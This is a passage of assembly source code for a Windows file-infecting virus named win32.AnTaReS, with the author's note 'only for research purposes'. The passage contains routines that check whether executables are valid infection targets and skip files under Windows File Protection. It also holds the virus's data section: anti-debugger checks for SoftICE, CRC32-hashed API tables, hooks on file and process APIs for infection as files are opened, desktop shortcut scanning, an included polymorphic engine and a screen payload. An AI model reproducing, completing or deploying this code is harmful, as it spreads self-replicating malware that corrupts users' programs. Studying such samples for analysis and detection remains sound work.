ax,'ZM' ; Have DOS stuff header? jnz DoCheck@1 mov ax,[edi+18h] cmp ax,40h ; Is a NewExe? jnz DoCheck@1 mov eax,[edi+3Ch] add edi,eax mov ax,[edi] cmp ax,'EP' ; Have a PortableExe header? jnz DoCheck@1 mov ax,[edi+04h] cmp ax,014Ch ; For Intel386? jnz DoCheck@1 mov ax,[edi+06h] cmp ax,03h ; At least 3 sections jb DoCheck@1 mov ax,[edi+14h] or ax,ax ; Have an Optional Header? jz DoCheck@1 mov eax,[edi+1Ch] or eax,eax ; And a valid Code section? jz DoCheck@1 mov eax,[edi+2Ch] or eax,eax ; Have Code section, right? jz DoCheck@1 mov ax,[edi+5Ch] dec ax ; Check it is a Windows GUI app dec ax jnz DoCheck@1 mov eax,[edi+3Ch] ; Save the AlignFactor mov [@AlignFactor+ebp],eax xor eax,eax inc eax ; Ok, file is valid ret DoCheck@1: xor eax,eax ; Ups... try again ret DoCheckStuff endp ;################################################################# ;# Check Sfc ;# In: esi->FileName ;# Out: eax=01h (No Sfc) Error: eax=00h (File Protected) ;################################################################# CheckSfc proc mov eax,[@SfcIsFileProtected+ebp] or eax,eax ; Look if we have Sfc loaded jz CheckSfc@1 ; If not skip and go on lea edi,[@FindData.WFD_nFileSizeHigh+ebp] push edi lea edi,[@PathTwo+ebp] ; Just get the full path of file push edi push MAX_PATH push esi call [@GetFullFilePathA+ebp] or eax,eax jz CheckSfc@2 mov esi,edi lea edi,[@PathSfc+ebp] call Asciiz2Unicode ; Make the path unicode push edi ; and check if the file is protected push eax call [@SfcIsFileProtected+ebp] or eax,eax jz CheckSfc@1 ; If protected file, try with other one CheckSfc@2: xor eax,eax ; Ups! we have Sfc... take care ret ; with protected files CheckSfc@1: inc eax ; If not protected... you know what ret CheckSfc endp include ..\Source\ETMS.inc ; Expressway To My Skull [ETMS] by b0z0/iKX ;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ;################################################################# ;# Virus Data (win32.AnTaReS) ;################################################################# ;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ;################################################################# ;# Var for Virus Main Body ;################################################################# @Critical: @ImageBase dd 00400000h ; Hardcoded ImageBase @DefaultVirusBegin dd offset @VirusBegin ; Hardcoded VirusBegin @EpoCall dd 00406054h ; Hardcoded offset of MessageBoxA in Import table @CallType dd 00000000h ; Tasm calls for 1st gen @KernelBase dd ? @AlignFactor dd ? ; Some Main vars @NewHostSize dd ? @NewVirusSize dd ? @OldImageBase dd ? ; Vars for Infection proc @OldDftVirusBegin dd ? @OldEpoCall dd ? ; Vars for Epo Stuff @OldCallType dd ? @PatchOffset dd ? ; Offset to patch (epo routine) @Random dd ? ; Random value @VirusBuffer dd ? ; Buffer for a new virus clean copy ;################################################################# ;# Var for Anti Debug ;################################################################# @SoftIceA db '\\.\SICE',0 @SoftIceB db '\\.\NTICE',0 ;################################################################# ;# Var for File Handle ;################################################################# @OpenHandle dd ? ; Handle of open file @MapHandle dd ? ; Handle of file map @FileAddr dd ? ; Base Addr of mapped file ;################################################################# ;# Var for Load Sfc Library ;################################################################# @SfcIsFileProtectedN db 'SfcIsFileProtected',0 @SfcIsFileProtected dd ? ; Classic vars ;################################################################# ;# Var for GetAllApiAddress ;################################################################# @OrdinalTable dd ? ; Ordinal Table Addr @AddressTable dd ? ; Address Table Addr @NameTable dd ? ; Name Table Addr @NumberNames dd ? ; Number of apis imported by name ;################################################################# ;# Var for Find Direct Action ;################################################################# @PathOne db MAX_PATH dup (?) @PathTwo db MAX_PATH dup (?) @FindData WIN32_FIND_DATA ? ; Find File Struct @FindMask db '*.*',0 ; General Mask (all kind of files) @FindHandle dd ? ; The Find Handle ;################################################################# ;# Var for Find Link Files ;################################################################# @SubKey db 'Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders',0 @RegName db 'Desktop',0 ; Some values like the SubKey, type and name @RegType db 'REG_SZ',0 @FindLink db '*.LNK',0 ; For FindFirst / FindNext @RegSize dd MAX_PATH ; The Buffer size @RegHandle dd ? ; Handle of open register ;################################################################# ;# Var for Payload ;################################################################# @SystemTime SYSTEMTIME ? ; For payload use @Xcoord dd ? ; Coord of screen center @Ycoord dd ? @DeviceCtx dd ? ; Some handles @HandleIcon dd ? @Degrees dd ? @Const dd 000000B4h ; 180... for radians/degrees conversion @Radius dd 00000070h ; Radius of circles @Result dd ? ;################################################################# ;# Var for Per Process ;################################################################# @OffsetsHookStruct: @HookApi1 dd offset HookCreateFileA ; Offsets of the hooking process @HookApi2 dd offset HookMoveFileA @HookApi3 dd offset HookCopyFileA @HookApi4 dd offset HookCreateProcessA @HookApi5 dd offset HookSetFileAttributesA @HookApi6 dd offset HookGetFileAttributesA @HookApi7 dd offset HookSearchPathA ;################################################################# ;# Var for Load New Library ;################################################################# @Advapi32N db 'ADVAPI32.DLL',0 ; Name of Libraries we need @User32N db 'USER32.DLL',0 @SfcN db 'SFC.DLL',0 ;################################################################# ;# Struct Apis Crc32 (ADVAPI32.DLL) ;################################################################# @Advapi32: CrcRegOpenKeyExA dd 0CD195699h @RegOpenKeyExA dd ? CrcRegQueryValueExA dd 088B7093Bh @RegQueryValueExA dd ? CrcRegCloseKey dd 0841802AFh @RegCloseKey dd ? db 0EEh ;################################################################# ;# Struct Apis Crc32 (USER32.DLL) ;################################################################# @User32: CrcGetDC dd 0BAD76D5Bh @GetDC dd ? CrcReleaseDC dd 0CBB05455h @ReleaseDC dd ? CrcGetSystemMetrics dd 0EADFEB07h @GetSystemMetrics dd ? CrcLoadIconA dd 0B9C520FCh @LoadIconA dd ? CrcDrawIcon dd 074610281h @DrawIcon dd ? CrcMessageBeep dd 0654BBB02h @MessageBeep dd ? db 0EEh ;################################################################# ;# Struct Apis Crc32 ;################################################################# @ApisCrc32: CrcGlobalAlloc dd 083A353C3h @GlobalAlloc dd ? CrcGlobalFree dd 05CDF6B6Ah @GlobalFree dd ? CrcGetFileSize dd 0EF7D811Bh @GetFileSize dd ? CrcGetFileTime dd 04434E8FEh @GetFileTime dd ? CrcSetFileTime dd 04B2A3E7Dh @SetFileTime dd ? CrcGetFullFilePathA dd 08F48B20Dh @GetFullFilePathA dd ? CrcGetModuleHandleA dd 082B618D4h @GetModuleHandleA dd ? CrcGetTickCount dd 0613FD7BAh @GetTickCount dd ? CrcFindFirstFileA dd 0AE17EBEFh @FindFirstFileA dd ? CrcFindNextFileA dd 0AA700106h @FindNextFileA dd ? CrcGetCurrentProcess dd 003690E66h @GetCurrentProcess dd ? CrcWriteProcessMemory dd 00E9BBAD5h @WriteProcessMemory dd ? CrcCloseHandle dd 068624A9Dh @CloseHandle dd ? CrcCreateFileMappingA dd 096B2D96Ch @CreateFileMappingA dd ? CrcFindClose dd 0C200BE21h @FindClose dd ? CrcFreeLibrary dd 0AFDF191Fh @FreeLibrary dd ? CrcGetCurrentDirectoryA dd 0EBC6C18Bh @GetCurrentDirectoryA dd ? CrcGetProcAddress dd 0FFC97C1Fh @GetProcAddress dd ? CrcGetSystemDirectoryA dd 0593AE7CEh @GetSystemDirectoryA dd ? CrcGetSystemTime dd 075B7EBE8h @GetSystemTime dd ? CrcGetWindowsDirectoryA dd 0FE248274h @GetWindowsDirectoryA dd ? CrcLoadLibraryA dd 04134D1ADh @LoadLibraryA dd ? CrcMapViewOfFile dd 0797B49ECh @MapViewOfFile dd ? CrcSetEndOfFile dd 059994ED6h @SetEndOfFile dd ? CrcSetFilePointer dd 085859D42h @SetFilePointer dd ? CrcSetCurrentDirectoryA dd 0B2DBD7DCh @SetCurrentDirectoryA dd ? CrcUnmapViewOfFile dd 094524B42h @UnmapViewOfFile dd ? @ApisCrc32Hooks: CrcCreateFileA dd 08C892DDFh @CreateFileA dd ? CrcMoveFileA dd 02308923Fh @MoveFileA dd ? CrcCopyFileA dd 05BD05DB1h @CopyFileA dd ? CrcCreateProcessA dd 0267E0B05h @CreateProcessA dd ? CrcSetFileAttributesA dd 03C19E536h @SetFileAttributesA dd ? CrcGetFileAttributesA dd 0C633D3DEh @GetFileAttributesA dd ? CrcSearchPathA dd 0F4D9D033h @SearchPathA dd ? db 0EEh @CopyLeft db 'win32.AnTaReS by PiKaS (only for research purposes)',0 ;################################################################# ;# Var for Virus Core ;################################################################# @PathSfc dw MAX_PATH dup (?) ; Just a huge buffer @VirusEnd: end HostStart ;################################################################# ;# Metropolis-PartI:The Miracle And The Sleeper (DreamTheater) ;####################################[Win32.AnTaReS by PiKaS]#####